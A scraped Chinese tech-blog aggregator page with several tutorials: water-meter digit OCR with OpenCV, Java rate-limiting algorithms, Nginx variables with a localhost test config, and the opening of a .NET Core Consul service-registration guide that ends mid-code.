標籤: 台北網頁設計

2020-12-09

【實戰】基於OpenCV的水表字符識別（OCR）

Post By admin 發燒車訊 , , , ,

目錄

  • 1. USB攝像頭取圖
  • 2. 圖像預處理：獲取屏幕ROI
    • 2.1. 分離提取屏幕區域
    • 2.2. 計算屏幕區域的旋轉角度
    • 2.3. 裁剪屏幕區域
    • 2.4. 旋轉圖像至正向視角
    • 2.5. 提取文字圖像
    • 2.6. 封裝上述過程
  • 3. 字符分割，獲取單個字符的圖像
  • 4. 模板匹配：確定字符內容
    • 4.1. make_template
    • 4.2. 模板修復
    • 4.3. 重新加載模板數據
    • 4.4. 模板匹配

1. USB攝像頭取圖

由於分辨率越高，處理的像素就越多，導致分析圖像的時間變長，這裏，我們設定攝像頭的取圖像素為（240,320）：

cap = cv2.VideoCapture(0)  # 根據電腦連接的情況填入攝像頭序號
assert cap.isOpened()

# 以下設置显示屏的寬高
cap.set(cv2.CAP_PROP_FRAME_WIDTH, 320)
cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 240)
cap.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter.fourcc('M', 'J', 'P', 'G'))

這裏提幾個常用的標準分辨率：

  • VGA (Video Graphics Array): 640×480
  • QVGA (QuarterVGA): 240×320
  • QQVGA: 120×160

接下來可以捕獲一幀數據看一下狀態：

# %% 捕獲一幀清晰的圖像
def try_frame():
    while True:
        ret, im_frame = cap.read()
        cv2.imshow("frame", im_frame)  # 显示圖像

        # im_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)  # 可選擇轉換為灰度圖
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break

    cv2.destroyAllWindows()
    return im_frame

im_frame = try_frame()
env.imshow(im_frame)

ps: 鏡頭角度會存在一定的歪斜，沒有關係，我們後面會進行處理。

2. 圖像預處理：獲取屏幕ROI

利用屏幕的亮度，通過簡單的閾值操作和輪廓操作，獲取屏幕輪廓，然後將圖像角度校正，最後獲得正向的文字內容。

2.1. 分離提取屏幕區域

通過OTSU的閾值化操作，將圖像處理為二值狀態。這個很重要，因為如果直接使用彩圖或灰度圖，會由於外部光線的變化，導致後期字符匹配時整體灰度值與模板的差別而降低置信度，導致較大的誤差。而二值圖可以避免這個問題。

然後利用開運算（白底黑字，如果黑底白字則為閉運算），消除噪點。

im_latest = try_frame()
im_gray = mvlib.color.rgb2gray(image)
im_bin = mvlib.filters.threshold(im_gray, invert=False)
# im_erosion = mvlib.morphology.erosion(im_bin, (11, 11))
# im_dilation = mvlib.morphology.dilation(im_erosion, (5, 5))
im_opening = mvlib.morphology.opening(im_bin, (11, 11))
env.imshow(im_opening)

2.2. 計算屏幕區域的旋轉角度

提取圖像的最大輪廓，然後獲取其包絡矩形。

list_cnts = mvlib.contours.find_cnts(im_opening)
if len(list_cnts) != 1:
    print(f"非唯一輪廓，請通過面積篩選過濾")
    # assert 0
    cnts_sorted = mvlib.contours.cnts_sort(list_cnts, mvlib.contours.cnt_area)
    list_cnts = [cnts_sorted[0]]

box, results = mvlib.contours.approx_rect(list_cnts[0], True)
angle = results[2]  # 此處的角度是向逆時針傾斜，記作：-4
if abs(angle) > 45:
    angle = (angle + 45) % 90 - 45
print(angle, box)

上述過程輸出：

1.432098388671875
[[282 173]
 [ 29 167]
 [ 32  41]
 [285  47]]

2.3. 裁剪屏幕區域

至此可以丟棄im_opening以及im_bin的圖像了。我們重新回到im_gray上進行操作（需要重新進行閾值化以獲取文字的二值圖）。

list_width = box[:,0]
list_height= box[:,1]
w_min, w_max = min(list_width), max(list_width)
h_min, h_max = min(list_height), max(list_height)

im_screen = im_gray[h_min:h_max, w_min:w_max]
env.imshow(im_screen)

2.4. 旋轉圖像至正向視角

im_screen_orthogonal = mvlib.transform.rotate(im_screen, angle, False)
# env.imshow(im_screen_orthogonal)
im_screen_core = im_screen_orthogonal[20:-20, 20:-20]
env.imshow(im_screen_core)

2.5. 提取文字圖像

第二次執行閾值化操作，但這一次是在屏幕內部，排除了屏幕外複雜的背景后，可以很容易的獲取到文字的內容。由於我們只關心数字，所以通過閉運算將細體字過濾掉。

im_core_bin = mvlib.filters.threshold(im_screen_core, invert=False)
im_closing = mvlib.morphology.closing(im_core_bin, (3,3))
env.imshow(im_closing)

2.6. 封裝上述過程

瑣碎的預處理過程就告一段落了，我們可以將上述的內容封裝成一個簡單的函數：

def preprocess():
    # 獲取屏幕區域
    im_latest = try_frame()
    ...
    im_closing = mvlib.morphology.closing(im_core_bin, (3,3))
    return im_closing

3. 字符分割，獲取單個字符的圖像

字符分割，一方面是製作模板的需要（當然，你也可以直接用畫圖工具裁剪出一張模板圖像）；另一方面是為了加速模板匹配的效率。當然，你完全可以在整張圖像上利用 match_template() 查找模板，但如果進行多模板匹配，重複的掃描整張圖像，效率就大打折扣了。

先提供完整的代碼

char_width_min = 7
gap_height_max = 5

def segment_chars(im_core):
    list_char_img = []
    # 字符區域
    raw_bkg = np.all(im_core, axis=0)
    col_bkg = np.all(im_core, axis=1)

    # 計算字高
    ndarr_char_height = np.where(False == col_bkg)[0]
    char_height_start = ndarr_char_height[0]
    item_last = ndarr_char_height[0]
    for item in ndarr_char_height:
        if item - item_last > gap_height_max:
            char_height_start = item
        item_last = item
    char_height_end = ndarr_char_height[-1] +1
    print(f"字高【{char_height_end - char_height_start}】")

    ndarr_chars_pos = np.where(False == raw_bkg)[0]
    ndarr_chars_pos = np.append(ndarr_chars_pos,
                                im_core.shape[1] + char_width_min)

    last_idx = ndarr_chars_pos[0]
    curr_char_width = 1
    for curr_idx in ndarr_chars_pos:
        idx_diff = curr_idx - last_idx
        # 這裏應該限制最小寬度>=2，否則認為是一個粘連字
        if idx_diff <= 2:
            curr_char_width += idx_diff
        else:  # 新的字符
            char_width_end = last_idx +1
            char_width_start = char_width_end - curr_char_width
            im_char_last = im_core[char_height_start:char_height_end,
                                char_width_start:char_width_end]
            list_char_img.append(im_char_last)
            curr_char_width = 0
        last_idx = curr_idx
    return list_char_img

按照行列，獲取圖像中的文字像素點集：

raw_bkg = np.all(im_core, axis=0)
col_bkg = np.all(im_core, axis=1)

由此，可以知道255（黑色）的區域從大約 39 到 75，那麼 75 - 29 = 36 就是字高。

另外，圖像中有可能存在噪點，去掉就是了（我這裏只是簡單粗暴的處理下，請見諒）。

行的處理同樣。如果發現間隔，那麼就可以分離字符。最後，輸出每個字符的圖像。

檢驗下效果：

list_char_imgs = segment_chars(im_core)
env.imshow(list_char_imgs[1])

4. 模板匹配：確定字符內容

利用模板匹配，實現字符識別的過程。這裏不再細說OpenCV的 cv2.matchTemplate() 函數，只描述應用過程。

4.1. make_template

首先，有必要把字符先作為模板存儲下來。

def make_tpls(list_tpl_imgs, dir_save, dict_tpl=None):
    if not dict_tpl:
        dict_tpl = {}

    str_items = input("請輸入模板上的文本內容，用於校對（例如215801）： ")

    assert len(str_items) == len(list_tpl_imgs)
    for i, v in enumerate(str_items):
        filename = v
        if v in dict_tpl:
            filename = v + "_" + str(random.random())
        else:
            dict_tpl[v] = list_tpl_imgs[i]
        path_save = os.path.join(dir_save, filename + ".jpg")
        mvlib.io.imsave(path_save, list_tpl_imgs[i])

    return dict_tpl

這裏，同一字符有必要多存儲幾張，最後擇優（或者一個字符通過多個模板匹配的結果來確定）。

4.2. 模板修復

這個過程，雖然沒啥子技術含量，但卻對結果影響很大。在前一步驟中，我們每一個字符都收集了多張模板圖像。現在，從中擇優錄取。還有，可以手動編輯模板的圖片，去除模板多餘的白邊（邊並不是文字內容的一部分，而且會降低字符的匹配度）。

4.3. 重新加載模板數據

def load_saved_tpls(dir_tpl):
    saved_tpls = os.listdir(dir_tpl)

    dict_tpl = {}  # {"1": imread("mvdev/tmp/tpl/1.jpg"), ...}
    for i in saved_tpls:
        filename = os.path.splitext(i)[0]
        path_tpl = os.path.join(dir_tpl, i)

        im_rgb = cv2.imread(path_tpl)
        im_gray = mvlib.color.rgb2gray(im_rgb)
        dict_tpl[filename] = im_gray
    return dict_tpl

dir_tpl = "tpl/"
dict_tpls = load_saved_tpls(dir_tpl)

4.4. 模板匹配

def number_ocr_matching(im_char):
    most_likely = [1, ""]
    for key, im_tpl in dict_tpls.items():
        try:
            pos, similarity = mvlib.feature.match_template(im_char, im_tpl, way="most")
            if similarity < most_likely[0]:
                most_likely = [similarity, key]
        except:
            im_char_old = im_char.copy()
            h = max(im_char.shape[0], im_tpl.shape[0])
            w = max(im_char.shape[1], im_tpl.shape[1])
            im_char = np.ones((h,w), dtype="uint8") * 255
            # im_char2 = mvlib.pixel.bitwise_and(z, im_char)
            im_char[:im_char_old.shape[0], :im_char_old.shape[1]] = im_char_old

            pos, similarity = mvlib.feature.match_template(im_char, im_tpl, way="most")
            if similarity < most_likely[0]:
                most_likely = [similarity, key]

    print(f"字符識別為【{most_likely[1]}】相似度【{most_likely[0]}】")
    return most_likely[1]

def application(list_char_imgs):
    str_ocr = ""
    for im_char in list_char_imgs:
        width_img = im_char.shape[1]
        # 判斷字符
        match_char = number_ocr_matching(im_char)
        str_ocr += match_char
    return str_ocr

str_ocr2 = application(list_char_imgs)
print(str_ocr2)

過程中，opencv出現了報錯，是由於模板的shape大於當前分割字符的shape。這個很正常，採集圖像時由於距離的微調（注意，距離變化不能太大，OpenCV的默認算子不支持模板縮放）可能導致字符尺寸更小。解決方案也很簡單，直接把字符圖像拓展到大於模板的狀態就OK了。

額，忘了刪除debug信息了……再來一次~

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

2020-12-09

最近學習了限流相關的算法

Post By admin 發燒車訊 , , , ,

最近測試team在測試過程中反饋部分接口需要做一定的限流措施，剛好我也回顧了下限流相關的算法。常見限流相關的算法有四種：計數器算法, 滑動窗口算法, 漏桶算法, 令牌桶算法

1.計數器算法(固定窗口)

 計數器算法是使用計數器在周期內累加訪問次數，當達到設定的閾值時就會觸發限流策略。下一個周期開始時，清零重新開始計數。此算法在單機和分佈式環境下實現都非常簡單，可以使用Redis的incr原子自增和線程安全即可以實現

 這個算法常用於QPS限流和統計訪問總量，對於秒級以上周期來說會存在非常嚴重的問題，那就是臨界問題，如下圖：

 假設我們設置的限流策略時1分鐘限制計數100，在第一個周期最後5秒和第二個周期的開始5秒，分別計數都是88，即在10秒時間內計數達到了176次，已經遠遠超過之前設置的閾值，由此可見，計數器算法（固定窗口）限流方式對於周期比較長的限流存在很大弊端。

 Java 實現計數器（固定窗口）：

package com.brian.limit;

import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicInteger;

import lombok.extern.slf4j.Slf4j;

/**
 * 固定窗口
 */
@Slf4j
public class FixWindow {

    private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);

    private final int limit = 100;

    private AtomicInteger currentCircleRequestCount = new AtomicInteger(0);

    private AtomicInteger timeCircle = new AtomicInteger(0);

    private void doFixWindow() {
        scheduledExecutorService.scheduleWithFixedDelay(() -> {
            log.info(" 當前時間窗口，第 {} 秒 ", timeCircle.get());
            if(timeCircle.get() >= 60) {
                timeCircle.set(0);
                currentCircleRequestCount.set(0);
                log.info(" =====進入新的時間窗口===== ");
            }
            if(currentCircleRequestCount.get() > limit) {
                log.info("觸發限流策略，當前窗口累計請求數 : {}", currentCircleRequestCount);
            } else {
                final int requestCount = (int) ((Math.random() * 5) + 1);
                log.info("當前發出的 ==requestCount== : {}", requestCount);
                currentCircleRequestCount.addAndGet(requestCount);
            }
           timeCircle.incrementAndGet();
        }, 0, 1, TimeUnit.SECONDS);
    }

    public static void main(String[] args) {
        new FixWindow().doFixWindow();
    }
    
}

2.滑動窗口算法

 滑動窗口算法是將時間周期拆分成N個小的時間周期，分別記錄小周期裏面的訪問次數，並且根據時間的滑動刪除過期的小周期。如下圖，假設時間周期為1分鐘，將1分鐘再分為2個小周期，統計每個小周期的訪問數量，則可以看到，第一個時間周期內，訪問數量為92，第二個時間周期內，訪問數量為104，超過100的訪問則被限流掉了。

 

 由此可見，當滑動窗口的格子劃分的越多，那麼滑動窗口的滾動就越平滑，限流的統計就會越精確。此算法可以很好的解決固定窗口算法的臨界問題。

  Java實現滑動窗口：

package com.brian.limit;

import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicInteger;
import lombok.extern.slf4j.Slf4j;

/**
 * 滑動窗口
 * 
 * 60s限流100次請求
 */
@Slf4j
public class RollingWindow {

    private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);

    // 窗口跨度時間60s
    private int timeWindow = 60;

    // 限流100個請求
    private final int limit = 100;

    // 當前窗口請求數
    private AtomicInteger currentWindowRequestCount = new AtomicInteger(0);

    // 時間片段滾動次數
    private AtomicInteger timeCircle = new AtomicInteger(0);

    // 觸發了限流策略后等待的時間
    private AtomicInteger waitTime = new AtomicInteger(0);

    // 在下一個窗口時，需要減去的請求數
    private int expiredRequest = 0;

    // 時間片段為5秒，每5秒統計下過去60秒的請求次數
    private final int slidingTime = 5;

    private ArrayBlockingQueue<Integer> slidingTimeValues = new ArrayBlockingQueue<>(11);

    public void rollingWindow() {
        scheduledExecutorService.scheduleWithFixedDelay(() -> {

            if (waitTime.get() > 0) {
                waitTime.compareAndExchange(waitTime.get(), waitTime.get() - slidingTime);
                log.info("=====當前滑動窗口===== 限流等待下一個時間窗口倒計時: {}s", waitTime.get());
                if (currentWindowRequestCount.get() > 0) {
                    currentWindowRequestCount.set(0);
                }
            } else {
                final int requestCount = (int) ((Math.random() * 10) + 7);
                if (timeCircle.get() < 12) {
                    timeCircle.incrementAndGet();
                }
                
            log.info("當前時間片段5秒內的請求數: {} ", requestCount);
            currentWindowRequestCount.addAndGet(requestCount);
            log.info("=====當前滑動窗口===== {}s 內請求數: {} ", timeCircle.get()*slidingTime , currentWindowRequestCount.get());

            if(!slidingTimeValues.offer(requestCount)){
                expiredRequest =  slidingTimeValues.poll();
                slidingTimeValues.offer(requestCount);
            } 

            if(currentWindowRequestCount.get() > limit) {
                // 觸發限流
                log.info("=====當前滑動窗口===== 請求數超過100, 觸發限流,等待下一個時間窗口 ");
                waitTime.set(timeWindow);
                timeCircle.set(0);
                slidingTimeValues.clear();
            } else {
                // 沒有觸發限流，滑動下一個窗口需要,移除相應的:在下一個窗口時，需要減去的請求數
                log.info("=====當前滑動窗口===== 請求數 <100, 未觸發限流，當前窗口請求總數: {},即將過期的請求數：{}"
                        ,currentWindowRequestCount.get(), expiredRequest);
                currentWindowRequestCount.compareAndExchange(currentWindowRequestCount.get(), currentWindowRequestCount.get() - expiredRequest);
            }
        }   
        }, 5, 5, TimeUnit.SECONDS);
    }

    public static void main(String[] args) {
        new RollingWindow().rollingWindow();
    }
    

}

計數器（固定窗口）和滑動窗口區別：

計數器算法是最簡單的算法，可以看成是滑動窗口的低精度實現。滑動窗口由於需要存儲多份的計數器（每一個格子存一份），所以滑動窗口在實現上需要更多的存儲空間。也就是說，如果滑動窗口的精度越高，需要的存儲空間就越大。

3.漏桶算法

 漏桶算法是訪問請求到達時直接放入漏桶，如當前容量已達到上限（限流值），則進行丟棄（觸發限流策略）。漏桶以固定的速率進行釋放訪問請求（即請求通過），直到漏桶為空。

 Java實現漏桶：

package com.brian.limit;

import java.util.concurrent.*;

import lombok.extern.slf4j.Slf4j;

/**
 * 漏桶算法
 */
@Slf4j
public class LeakyBucket {
    private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);

    // 桶容量
    public  int capacity = 1000;
    
    // 當前桶中請求數
    public int curretRequest = 0;

    // 每秒恆定處理的請求數
    private final int handleRequest = 100;

    public void doLimit() {
        scheduledExecutorService.scheduleWithFixedDelay(() -> {
            final int requestCount = (int) ((Math.random() * 200) + 50);
            if(capacity > requestCount){
                capacity -= requestCount;
                log.info("<><>當前1秒內的請求數:{}, 桶的容量:{}", requestCount, capacity);
                if(capacity <=0) {
                    log.info(" =====觸發限流策略===== ");
                } else {
                    capacity += handleRequest;
                    log.info("<><><><>當前1秒內處理請求數:{}, 桶的容量:{}", handleRequest, capacity);
                }
            } else {
                log.info("<><><><>當前請求數:{}, 桶的容量:{},丟棄的請求數:{}", requestCount, capacity,requestCount-capacity);
                if(capacity <= requestCount) {
                    capacity = 0;
                }
                capacity += handleRequest;
                log.info("<><><><>當前1秒內處理請求數:{}, 桶的容量:{}", handleRequest, capacity);
            }
        }, 0, 1, TimeUnit.SECONDS);
    }

    public static void main(String[] args) {
        new LeakyBucket().doLimit();
    }
}

 漏桶算法有個缺點：如果桶的容量過大，突發請求時也會對後面請求的接口造成很大的壓力。

4.令牌桶算法

 令牌桶算法是程序以恆定的速度向令牌桶中增加令牌，令牌桶滿了之後會丟棄新進入的令牌，當請求到達時向令牌桶請求令牌，如獲取到令牌則通過請求，否則觸發限流策略。

 

 Java實現令牌桶：

package com.brian.limit;

import java.util.concurrent.*;

import lombok.extern.slf4j.Slf4j;
/**
 * 令牌桶算法
 */
@Slf4j
public class TokenBucket {
    private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);

    // 桶容量
    public  int capacity = 1000;
    
    // 當前桶中請求數
    public int curretToken = 0;

    // 恆定的速率放入令牌
    private final int tokenCount = 200;

    public void doLimit() {
        scheduledExecutorService.scheduleWithFixedDelay(() -> {
            
            new Thread( () -> {
                if(curretToken >= capacity) {
                    log.info(" =====桶中的令牌已經滿了===== ");
                    curretToken = capacity;
                } else {
                    if((curretToken+tokenCount) >= capacity){
                      log.info(" 當前桶中的令牌數:{},新進入的令牌將被丟棄的數: {}",curretToken,(curretToken+tokenCount-capacity));
                      curretToken = capacity;
                  } else {
                      curretToken += tokenCount;
                  }
                }
            }).start();

            new Thread( () -> {
                final int requestCount = (int) ((Math.random() * 200) + 50);
                if(requestCount >= curretToken){
                    log.info(" 當前請求數:{},桶中令牌數: {},將被丟棄的請求數:{}",requestCount,curretToken,(requestCount - curretToken));
                    curretToken = 0;
                } else {
                    log.info(" 當前請求數:{},桶中令牌數: {}",requestCount,curretToken);
                    curretToken -= requestCount;
                }
            }).start();
        }, 0, 500, TimeUnit.MILLISECONDS);
    }

    public static void main(String[] args) {
        new TokenBucket().doLimit();
    }
    
}

漏桶算法和令牌桶算法區別：

令牌桶可以用來保護自己，主要用來對調用者頻率進行限流，為的是讓自己不被打垮。所以如果自己本身有處理能力的時候，如果流量突發（實際消費能力強於配置的流量限制），那麼實際處理速率可以超過配置的限制。而漏桶算法，這是用來保護他人，也就是保護他所調用的系統。主要場景是，當調用的第三方系統本身沒有保護機制，或者有流量限制的時候，我們的調用速度不能超過他的限制，由於我們不能更改第三方系統，所以只有在主調方控制。這個時候，即使流量突發，也必須捨棄。因為消費能力是第三方決定的。
總結起來：如果要讓自己的系統不被打垮，用令牌桶。如果保證被別人的系統不被打垮，用漏桶算法

 

參考博客：https://blog.csdn.net/weixin_41846320/article/details/95941361

　　　　　https://www.cnblogs.com/xuwc/p/9123078.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨，RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※回頭車貨運收費標準

2020-12-09

Nginx 的變量究竟是怎麼一回事？

Post By admin 發燒車訊 , , , , , ,

之前說了很多關於 Nginx 模塊的內容，還有一部分非常重要的內容，那就是 Nginx 的變量。變量在 Nginx 中可以說無處不在，認識了解這些變量的作用和原理同樣是必要的，下面幾乎囊括了關於 Nginx 的所有變量，單獨看起來可能比較枯燥，放心，後面依然有實戰內容。

Nginx 變量的運行原理

圍繞 Nginx 中的變量模塊可以分為兩類，一類是提供變量的模塊，另外一類是使用變量的模塊。

  • 提供變量的模塊
    • 在 Preconfiguration 源代碼中定義變量名以及可以解析出變量的方法
  • 使用變量的模塊
    • 解析 nginx.conf 時定義變量的使用方式

也就是在 Nginx 啟動時，已經定義了變量，而只有當真正處理請求的時候，才會根據 nginx.conf 解析出來的變量使用方式調用 Preconfiguration 中定義的方法來實際獲取值。

這也是變量的兩個特性：

  • 惰性求值：只有使用的時候才會去調方法解析
  • 變量值可以時刻變化，其值為使用的那一時刻的值。例如發送響應包體字節數，實際在發送的過程中是一直在變化的。

除了 Nginx 的模塊之外，Nginx 框架也包含許多的變量，這些變量不需要通過編譯模塊來引入，而且，Nginx 框架所提供的變量往往反映了處理請求的細節，因此，了解 Nginx 框架所提供的變量是十分有必要的。

HTTP 請求相關的變量

先來看一下關於 HTTP 請求的相關變量。

  • arg_參數名：URL 中某個具體參數的值

  • query_string：與 args 變量完全相同

  • args：全部 URL 參數

  • is_args：如果請求 URL 中有參數則返回 ?，否則返回空

  • content_length：HTTP 請求中標識包體長度的 Content-Length 頭部的值。如果請求中沒有攜帶這個參數，那麼就取不到對應的值。

  • content_type：標識請求包體類型的 Content-Type 頭部的值。同樣需要用戶請求中攜帶對應的參數。

  • uri：請求的 URI（不同於 URL，不包括 ? 后的參數）

  • document_uri：與 uri 完全相同。由於歷史原因而存在的。

  • request_uri：請求的 URL（包括 URI 以及完整的參數）

  • scheme：協議名，例如 HTTP 或者 HTTPS

  • request_method：請求方法，例如 GET 或者 POST

  • request_length：所有請求內容的大小，包括請求行、頭部、包體等

  • remote_user：由 HTTP Basic Authentication 協議傳入的用戶名

  • request_body_file：很多時候會將用戶請求的包體存放到文件中，這個變量就是臨時存放請求包體的文件

    • 如果包體非常小則不會存文件
    • client_body_in_file_only 指令強制所有包體存入文件，且可決定是否刪除

  • request_body：請求中的包體，這個變量當且僅當使用反向代理，且設定用內存暫存包體時才有效

  • request：原始的 URL 請求，含有方法與協議版本，例如 GET /?a=1&b=22 HTTP/1.1

  • host

    • 先從請求行中獲取
    • 如果含有 Host 頭部，則用其值替換掉請求行中的主機名
    • 如果前兩者都取不到，則使用匹配上的 server_name

  • http_頭部名字：返回一個具體請求頭部的值

    特殊變量，這些變量會做一些處理。

    • http_host
    • http_user_agent
    • http_referer
    • http_via
    • http_x_forwarded_for
    • http_cookie

    通用變量，除了以上的變量，都可以取到對應的值。

TCP 連接相關的變量

下面是關於 TCP 連接的變量。

  • binary_remote_addr：客戶端地址的整形格式，對於 IPv4 是 4 字節，對於 IPv6 是 16 字節，所以在 limit_req 和 limit_conn 中通常可以用作 key （詳見：Nginx 處理 HTTP 請求的 11 個階段 中的 preaccess 階段）
  • connection：遞增的連接序號
  • connection_requests：當前連接上執行過的請求數，對 keepalive 連接有意義
  • remote_addr：客戶端地址
  • remote_port：客戶端端口
  • proxy_protocol_addr：若使用了 proxy_protocol 協議，則返回協議中的地址，否則返回空
  • proxy_protocol_port：若使用了 proxy_protocol 協議則返回協議中的端口，否則返回空
  • server_addr：服務端地址
  • server_port：服務器端端口
  • TCP_INFO：TCP 內核層參數，包括 $tcpinfo_rtt, ​$tcpinfo_rttvar,​$tcpinfo_snd_cwnd, $tcpinfo_rcv_space
  • server_protocol：服務器端協議，例如 HTTP/1.1

Nginx 處理請求過程中產生的變量

Nginx 處理 HTTP 請求的過程中也會產生很多變量。

  • request_time：請求處理到現在的耗時，單位為秒，精確到毫秒
  • server_name：匹配上請求的 server_name 值
  • https：如果開啟了 TLS/SSL 則返回 on，否則返回空
  • request_completion：若請求處理完則返回 OK，否則返回空
  • request_id：以 16 進制輸出的請求表示 id，該 id 共含有 16 個字節，是隨機生成的
  • request_filename：待訪問文件的完整路徑
  • document_root：由 URI 和 root、alias 規則生成的文件夾路徑
  • realpath_root：將 document_root 中的軟鏈接等換成真實路徑
  • limit_rate：返回客戶端響應時的速度上限，單位為每秒字節數。可以通過 set 指令修改對請求產生的效果

發送 HTTP 響應時相關的變量

  • body_bytes_sent：響應中 body 包體的長度

  • bytes_sent：全部 http 響應的長度

  • status：http 響應中的返回碼

  • sent_trailer_名字：把響應結尾內容里的值返回

  • sent_http_頭部名字：響應中某個具體頭部的值

    特殊處理，下面這些變量需要經過特殊處理：

    • sent_http_content_type
    • sent_http_content_length
    • sent_http_location
    • sent_http_last_modified
    • sent_http_connection
    • sent_http_keep_alive
    • sent_http_transfer_encoding
    • sent_http_cache_control
    • sent_http_link

    通用：除了上面這些頭部，其他的頭部都是通用型的，也就是可以直接拿來用。

Nginx 系統變量

  • time_local：以本地時間標準輸出的當前時間，例如 14/Nov/2018:15:55:37 +0800
  • time_iso8601：使用 ISO8601 標準輸出的當前時間，例如 2018-11-14T15:55:37+08:00
  • nginx_version：Nginx 版本號
  • pid：所屬 worker 進程的進程 id
  • pipe：使用了管道則返回 p，否則返回 .
  • hostname：所在服務器的主機名，與 hostname 命令輸出一致
  • msec：1970 年 1 月 1 日到現在的時間，單位為秒，小數點后精確到毫秒

實戰

配置文件：

log_format  vartest  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status bytes_sent=$bytes_sent body_bytes_sent=$body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$sent_http_abc"';

server {
	server_name var.ziyang.com localhost;
	#error_log logs/myerror.log debug;
	access_log logs/vartest.log vartest;
	listen 9090;
	
	location / {
		set $limit_rate 10k;
        # return 200; tcpinfo: $tcpinfo_rtt,$tcpinfo_rttvar, $tcpinfo_snd_cwnd, $tcpinfo_rcv_space 
		return 200 '
arg_a: $arg_a,arg_b: $arg_b,args: $args
connection: $connection,connection_requests: $connection_requests
cookie_a: $cookie_a
uri: $uri,document_uri: $document_uri, request_uri: $request_uri
request: $request
request_id: $request_id
server: $server_addr,$server_name,$server_port,$server_protocol
            
host: $host,server_name: $server_name,http_host: $http_host
limit_rate: $limit_rate
hostname: $hostname
content_length: $content_length
status: $status
body_bytes_sent: $body_bytes_sent,bytes_sent: $bytes_sent
time: $request_time,$msec,$time_iso8601,$time_local
';
	}	
}

從上面這個配置文件中，我們可以看出來，返回的響應裡面包含了一系列的變量，實際驗證一下：

  test_nginx curl -H 'Content-Length: 0' -H 'Cookie: a=c1' 'localhost:9090?a=1&b=22'

arg_a: 1,arg_b: 22,args: a=1&b=22
connection: 2,connection_requests: 1
cookie_a: c1
uri: /,document_uri: /, request_uri: /?a=1&b=22
request: GET /?a=1&b=22 HTTP/1.1
request_id: 5d40b1ff29d2b87d5db5c4f95ebf5e4d
server: 127.0.0.1,var.ziyang.com,9090,HTTP/1.1
host: localhost,server_name: var.ziyang.com,http_host: localhost:9090
limit_rate: 10240
hostname: yuanzizhen.local
content_length: 0
status: 200
body_bytes_sent: 0,bytes_sent: 0
time: 0.000,1590842354.866,2020-05-30T20:39:14+08:00,30/May/2020:20:39:14 +0800

大家可以對比一下響應和配置文件中的值是不是一一對應的，更加深刻的理解一下變量的含義。

好了，這一節咱們學習了。關於 Nginx 的變量就講完了，下一節講一下實際應用變量的兩個模塊，大家會有更深刻的理解。

本文首發於我的個人博客：iziyang.github.io，所有配置文件我已經放在了 Nginx 配置文件，大家可以自取。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

2020-12-09

.Net Core微服務入門全紀錄（二）——Consul-服務註冊與發現（上）

Post By admin 發燒車訊 , , , ,

前言

上一篇【.Net Core微服務入門全紀錄（一）——項目搭建】講到要做到服務的靈活伸縮，那麼需要有一種機制來實現它，這個機制就是服務註冊與發現。當然這也並不是必要的，如果你的服務實例很少，並且很穩定，那麼就沒有必要使用服務註冊與發現。

服務註冊與發現

  • 服務註冊：簡單理解，就是有一個註冊中心，我們的每個服務實例啟動時，都去註冊中心註冊一下，告訴註冊中心我的地址，端口等信息。同樣的服務實例要刪除時，去註冊中心刪除一下，註冊中心負責維護這些服務實例的信息。
  • 服務發現：既然註冊中心維護了各個服務實例的信息，那麼客戶端通過註冊中心就很容易發現服務的變化了。

有了服務註冊與發現，客戶端就不用再去配置各個服務實例的地址，改為從註冊中心統一獲取。
那註冊中心又是怎麼保證每個地址的可用狀態呢，假如某個實例掛了怎麼辦呢？原則上掛掉的實例不應該被客戶端獲取到，所以就要提到：健康檢查 。

  • 健康檢查：每個服務都需要提供一個用於健康檢查的接口，該接口不具備業務功能。服務註冊時把這個接口的地址也告訴註冊中心，註冊中心會定時調用這個接口來檢測服務是否正常，如果不正常，則將它移除，這樣就保證了服務的可用性。

常見註冊中心有 Consul、ZooKeeper、etcd、Eureka。

Consul

Consul官網：https://www.consul.io/
Consul的主要功能有服務註冊與發現、健康檢查、K-V存儲、多數據中心等。

  • Consul安裝：很簡單，直接在官網下載解壓即可。
  • Consul運行：在consul.exe目錄下打開命令行執行 consul.exe agent -dev
  • 瀏覽器訪問：http://localhost:8500/

    Consul已成功運行。

服務註冊

  • 首先Nuget安裝一下Consul：

    這個類庫里封裝了Consul的api操作，方便我們直接使用。當然自己去寫http調用Consul的接口也不是不行。。。接口說明：https://www.consul.io/api-docs

  • 改造一下訂單服務的代碼：

ConsulHelper.cs：

    public static class ConsulHelper
    {
        /// <summary>
        /// 服務註冊到consul
        /// </summary>
        /// <param name="app"></param>
        /// <param name="lifetime"></param>
        public static IApplicationBuilder RegisterConsul(this IApplicationBuilder app, IConfiguration configuration, IHostApplicationLifetime lifetime) 
        {
            var consulClient = new ConsulClient(c =>
            {
                //consul地址
